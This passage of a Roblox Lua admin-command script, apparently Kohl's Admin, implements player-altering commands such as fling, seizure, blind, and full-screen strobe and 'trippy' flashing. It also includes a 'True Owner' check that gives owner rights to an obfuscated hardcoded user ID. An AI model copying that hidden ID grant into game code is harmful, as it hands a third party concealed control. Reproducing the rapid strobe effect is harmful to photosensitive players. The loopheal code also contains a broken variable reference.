  1680. for i, v in pairs(plrz) do
  1681. coroutine.resume(coroutine.create(function()
  1682. if v and v.Character and v.Character:findFirstChild("Torso") then
  1683. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1684. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1685. v.Character.Torso.Transparency = 1
  1686. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1687. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  1688. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  1689. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  1690. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  1691. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  1692. local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
  1693. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
  1694. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
  1695. end
  1696. end))
  1697. end
  1698. end
  1699.  
  1700. if msg:lower():sub(1,6) == "undog " then
  1701. local plrz = GetPlr(plr, msg:lower():sub(7))
  1702. for i, v in pairs(plrz) do
  1703. coroutine.resume(coroutine.create(function()
  1704. if v and v.Character and v.Character:findFirstChild("Torso") then
  1705. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1706. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1707. v.Character.Torso.Transparency = 0
  1708. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1709. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1710. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1711. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1712. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1713. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1714. end
  1715. end))
  1716. end
  1717. end
  1718.  
  1719. if msg:lower():sub(1,8) == "creeper " then
  1720. local plrz = GetPlr(plr, msg:lower():sub(9))
  1721. for i, v in pairs(plrz) do
  1722. coroutine.resume(coroutine.create(function()
  1723. if v and v.Character and v.Character:findFirstChild("Torso") then
  1724. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1725. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1726. v.Character.Torso.Transparency = 0
  1727. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1728. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  1729. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  1730. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
  1731. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  1732. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  1733. end
  1734. end))
  1735. end
  1736. end
  1737.  
  1738. if msg:lower():sub(1,10) == "uncreeper " then
  1739. local plrz = GetPlr(plr, msg:lower():sub(11))
  1740. for i, v in pairs(plrz) do
  1741. coroutine.resume(coroutine.create(function()
  1742. if v and v.Character and v.Character:findFirstChild("Torso") then
  1743. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1744. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1745. v.Character.Torso.Transparency = 0
  1746. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1747. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1748. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1749. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1750. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1751. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1752. end
  1753. end))
  1754. end
  1755. end
  1756.  
  1757. if msg:lower():sub(1,8) == "bighead " then
  1758. local plrz = GetPlr(plr, msg:lower():sub(9))
  1759. for i, v in pairs(plrz) do
  1760. coroutine.resume(coroutine.create(function()
  1761. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1762. end))
  1763. end
  1764. end
  1765.  
  1766. if msg:lower():sub(1,9) == "minihead " then
  1767. local plrz = GetPlr(plr, msg:lower():sub(10))
  1768. for i, v in pairs(plrz) do
  1769. coroutine.resume(coroutine.create(function()
  1770. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1771. end))
  1772. end
  1773. end
  1774.  
  1775. if msg:lower():sub(1,6) == "fling " then
  1776. local plrz = GetPlr(plr, msg:lower():sub(7))
  1777. for i, v in pairs(plrz) do
  1778. coroutine.resume(coroutine.create(function()
  1779. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1780. local xran local zran
  1781. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1782. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1783. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  1784. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  1785. end
  1786. end))
  1787. end
  1788. end
  1789.  
  1790. if msg:lower():sub(1,8) == "seizure " then
  1791. local plrz = GetPlr(plr, msg:lower():sub(9))
  1792. for i, v in pairs(plrz) do
  1793. coroutine.resume(coroutine.create(function()
  1794. if v and v.Character then
  1795. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  1796. local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
  1797. table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
  1798. end
  1799. end))
  1800. end
  1801. end
  1802.  
  1803. if msg:lower():sub(1,10) == "unseizure " then
  1804. local plrz = GetPlr(plr, msg:lower():sub(11))
  1805. for i, v in pairs(plrz) do
  1806. coroutine.resume(coroutine.create(function()
  1807. if v and v.Character then
  1808. for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
  1809. wait(.1) v.Character.Humanoid.PlatformStand = false
  1810. end
  1811. end))
  1812. end
  1813. end
  1814.  
  1815. if msg:lower():sub(1,12) == "removelimbs " then
  1816. local plrz = GetPlr(plr, msg:lower():sub(13))
  1817. for i, v in pairs(plrz) do
  1818. coroutine.resume(coroutine.create(function()
  1819. if v and v.Character then
  1820. for a, obj in pairs(v.Character:children()) do
  1821. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  1822. end
  1823. end
  1824. end))
  1825. end
  1826. end
  1827.  
  1828. if msg:lower():sub(1,5) == "name " then
  1829. local chk1 = msg:lower():sub(6):find(" ") + 5
  1830. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1831. for i, v in pairs(plrz) do
  1832. coroutine.resume(coroutine.create(function()
  1833. if v and v.Character and v.Character:findFirstChild("Head") then
  1834. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1835. local char = v.Character
  1836. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  1837. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  1838. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  1839. char.Head.Transparency = 1
  1840. end
  1841. end))
  1842. end
  1843. end
  1844.  
  1845. if msg:lower():sub(1,7) == "unname " then
  1846. local plrz = GetPlr(plr, msg:lower():sub(8))
  1847. for i, v in pairs(plrz) do
  1848. coroutine.resume(coroutine.create(function()
  1849. if v and v.Character and v.Character:findFirstChild("Head") then
  1850. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1851. end
  1852. end))
  1853. end
  1854. end
  1855.  
  1856. if msg:lower():sub(1,5) == "char " then
  1857. local chk1 = msg:lower():sub(6):find(" ") + 5
  1858. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1859. for i, v in pairs(plrz) do
  1860. coroutine.resume(coroutine.create(function()
  1861. if v and v.Character then
  1862. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  1863. v:LoadCharacter()
  1864. end
  1865. end))
  1866. end
  1867. end
  1868.  
  1869. if msg:lower():sub(1,7) == "unchar " then
  1870. local plrz = GetPlr(plr, msg:lower():sub(8))
  1871. for i, v in pairs(plrz) do
  1872. coroutine.resume(coroutine.create(function()
  1873. if v and v.Character then
  1874. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  1875. v:LoadCharacter()
  1876. end
  1877. end))
  1878. end
  1879. end
  1880.  
  1881. if msg:lower():sub(1,7) == "infect " then
  1882. local plrz = GetPlr(plr, msg:lower():sub(8))
  1883. for i, v in pairs(plrz) do
  1884. coroutine.resume(coroutine.create(function()
  1885. if v and v.Character then
  1886. Infect(v.Character)
  1887. end
  1888. end))
  1889. end
  1890. end
  1891.  
  1892. if msg:lower():sub(1,11) == "rainbowify " then
  1893. local plrz = GetPlr(plr, msg:lower():sub(12))
  1894. for i, v in pairs(plrz) do
  1895. coroutine.resume(coroutine.create(function()
  1896. if v and v.Character and v.Character:findFirstChild("Torso") then
  1897. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1898. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1899. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1900. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1901. cl.Parent = v.Character cl.Disabled = false
  1902. end
  1903. end))
  1904. end
  1905. end
  1906.  
  1907. if msg:lower():sub(1,9) == "flashify " then
  1908. local plrz = GetPlr(plr, msg:lower():sub(10))
  1909. for i, v in pairs(plrz) do
  1910. coroutine.resume(coroutine.create(function()
  1911. if v and v.Character and v.Character:findFirstChild("Torso") then
  1912. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1913. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1914. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1915. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1916. cl.Parent = v.Character cl.Disabled = false
  1917. end
  1918. end))
  1919. end
  1920. end
  1921.  
  1922. if msg:lower():sub(1,8) == "noobify " then
  1923. local plrz = GetPlr(plr, msg:lower():sub(9))
  1924. for i, v in pairs(plrz) do
  1925. coroutine.resume(coroutine.create(function()
  1926. if v and v.Character then
  1927. Noobify(v.Character)
  1928. end
  1929. end))
  1930. end
  1931. end
  1932.  
  1933. if msg:lower():sub(1,9) == "ghostify " then
  1934. local plrz = GetPlr(plr, msg:lower():sub(10))
  1935. for i, v in pairs(plrz) do
  1936. coroutine.resume(coroutine.create(function()
  1937. if v and v.Character and v.Character:findFirstChild("Torso") then
  1938. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1939. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1940. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1941. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1942. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  1943. if prt.Name:find("Leg") then prt.Transparency = 1 end
  1944. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
  1945. end end
  1946. end
  1947. end))
  1948. end
  1949. end
  1950.  
  1951. if msg:lower():sub(1,8) == "goldify " then
  1952. local plrz = GetPlr(plr, msg:lower():sub(9))
  1953. for i, v in pairs(plrz) do
  1954. coroutine.resume(coroutine.create(function()
  1955. if v and v.Character and v.Character:findFirstChild("Torso") then
  1956. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1957. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1958. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1959. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1960. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  1961. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  1962. end end
  1963. end
  1964. end))
  1965. end
  1966. end
  1967.  
  1968. if msg:lower():sub(1,6) == "shiny " then
  1969. local plrz = GetPlr(plr, msg:lower():sub(7))
  1970. for i, v in pairs(plrz) do
  1971. coroutine.resume(coroutine.create(function()
  1972. if v and v.Character and v.Character:findFirstChild("Torso") then
  1973. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1974. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1975. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1976. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1977. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  1978. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
  1979. end end
  1980. end
  1981. end))
  1982. end
  1983. end
  1984.  
  1985. if msg:lower():sub(1,7) == "normal " then
  1986. local plrz = GetPlr(plr, msg:lower():sub(8))
  1987. for i, v in pairs(plrz) do
  1988. coroutine.resume(coroutine.create(function()
  1989. if v and v.Character and v.Character:findFirstChild("Torso") then
  1990. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  1991. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1992. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1993. v.Character.Torso.Transparency = 0
  1994. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1995. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1996. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1997. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1998. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1999. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2000. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2001. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  2002. if prt.Name == "FAKETORSO" then prt:Destroy() end
  2003. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  2004. end end
  2005. end
  2006. end))
  2007. end
  2008. end
  2009.  
  2010. if msg:lower():sub(1,7) == "trippy " then
  2011. local plrz = GetPlr(plr, msg:lower():sub(8))
  2012. for i, v in pairs(plrz) do
  2013. coroutine.resume(coroutine.create(function()
  2014. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  2015. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2016. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
  2017. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2018. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
  2019. end
  2020. end))
  2021. end
  2022. end
  2023.  
  2024. if msg:lower():sub(1,9) == "untrippy " then
  2025. local plrz = GetPlr(plr, msg:lower():sub(10))
  2026. for i, v in pairs(plrz) do
  2027. coroutine.resume(coroutine.create(function()
  2028. if v and v:findFirstChild("PlayerGui") then
  2029. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
  2030. end
  2031. end))
  2032. end
  2033. end
  2034.  
  2035. if msg:lower():sub(1,7) == "strobe " then
  2036. local plrz = GetPlr(plr, msg:lower():sub(8))
  2037. for i, v in pairs(plrz) do
  2038. coroutine.resume(coroutine.create(function()
  2039. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  2040. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2041. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
  2042. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2043. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
  2044. end
  2045. end))
  2046. end
  2047. end
  2048.  
  2049. if msg:lower():sub(1,9) == "unstrobe " then
  2050. local plrz = GetPlr(plr, msg:lower():sub(10))
  2051. for i, v in pairs(plrz) do
  2052. coroutine.resume(coroutine.create(function()
  2053. if v and v:findFirstChild("PlayerGui") then
  2054. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
  2055. end
  2056. end))
  2057. end
  2058. end
  2059.  
  2060. if msg:lower():sub(1,6) == "blind " then
  2061. local plrz = GetPlr(plr, msg:lower():sub(7))
  2062. for i, v in pairs(plrz) do
  2063. coroutine.resume(coroutine.create(function()
  2064. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  2065. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2066. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
  2067. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2068. end
  2069. end))
  2070. end
  2071. end
  2072.  
  2073. if msg:lower():sub(1,8) == "unblind " then
  2074. local plrz = GetPlr(plr, msg:lower():sub(9))
  2075. for i, v in pairs(plrz) do
  2076. coroutine.resume(coroutine.create(function()
  2077. if v and v:findFirstChild("PlayerGui") then
  2078. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
  2079. end
  2080. end))
  2081. end
  2082. end
  2083.  
  2084. if msg:lower():sub(1,7) == "guifix " then
  2085. local plrz = GetPlr(plr, msg:lower():sub(8))
  2086. for i, v in pairs(plrz) do
  2087. coroutine.resume(coroutine.create(function()
  2088. if v and v:findFirstChild("PlayerGui") then
  2089. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2090. end
  2091. end))
  2092. end
  2093. end
  2094.  
  2095. if msg:lower():sub(1,9) == "loopheal " then
  2096. local plrz = GetPlr(plr, msg:lower():sub(10))
  2097. for i, v in pairs(plrz) do
  2098. if v then
  2099. local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
  2100. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2101. repeat wait()
  2102. coroutine.resume(coroutine.create(function()
  2103. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  2104. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  2105. plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
  2106. end
  2107. end))
  2108. until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2109. end
  2110. end
  2111. end
  2112.  
  2113. if msg:lower():sub(1,11) == "unloopheal " then
  2114. local plrz = GetPlr(plr, msg:lower():sub(12))
  2115. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2116. end
  2117.  
  2118. if msg:lower():sub(1,10) == "loopfling " then
  2119. local plrz = GetPlr(plr, msg:lower():sub(11))
  2120. for i, v in pairs(plrz) do
  2121. if v then
  2122. local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
  2123. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2124. repeat
  2125. coroutine.resume(coroutine.create(function()
  2126. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  2127. local xran local zran
  2128. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  2129. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  2130. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  2131. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  2132. end
  2133. end))
  2134. wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2135. end
  2136. end
  2137. end
  2138.  
  2139. if msg:lower():sub(1,12) == "unloopfling " then
  2140. local plrz = GetPlr(plr, msg:lower():sub(13))
  2141. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2142. end
  2143.  
  2144. end
  2145.  
  2146. -------------------------
  2147. -- True Owner Commands --
  2148. -------------------------
  2149.  
  2150. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
  2151.  
  2152. if msg:lower():sub(1,3) == "oa " then
  2153. local plrz = GetPlr(plr, msg:lower():sub(4))
  2154. for i, v in pairs(plrz) do
  2155. coroutine.resume(coroutine.create(function()
  2156. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2157. end))
  2158. end
  2159. end
  2160.  
  2161. if msg:lower():sub(1,5) == "unoa " then
  2162. for i = 1, #owners do
  2163. coroutine.resume(coroutine.create(function()
  2164. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  2165. end))
  2166. end
  2167. end
  2168.  
  2169. if msg:lower() == "settings" then
  2170. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "SETTINGSGUI" then v:Destroy() end end
  2171. local scr = Instance.new("ScreenGui",plr.PlayerGui) scr.Name = "SETTINGSGUI"
  2172. local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true
  2173. local title = Instance.new("TextLabel", main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = "Settings" title.Font = "ArialBold" title.FontSize = "Size24" title.ZIndex = 8
  2174. local s1 = Instance.new("TextLabel", main) s1.Position = UDim2.new(0,0,0,50) s1.Text = "Prefix:" s1.BackgroundTransparency = 1 s1.BorderSizePixel = 0 s1.TextColor3 = Color3.new(1,1,1) s1.Font = "ArialBold" s1.FontSize = "Size18" s1.TextStrokeColor3 = Color3.new(1,1,1) s1.TextStrokeTransparency = .9 s1.TextXAlignment = "Left" s1.ZIndex = 8
  2175. local tb1 = Instance.new("TextBox", main) tb1.Position = UDim2.new(0,60,0,43) tb1.Size = UDim2.new(0,20,0,20) tb1.BackgroundTransparency = .8 tb1.BorderSizePixel = 1 tb1.BorderColor3 = Color3.new(1,1,1) tb1.TextColor3 = Color3.new(1,1,1) tb1.Font = "Arial" tb1.FontSize = "Size18" tb1.TextStrokeColor3 = Color3.new(1,1,1) tb1.TextStrokeTransparency = .9 tb1.TextYAlignment = "Top" tb1.ClipsDescendants = true tb1.ZIndex = 8
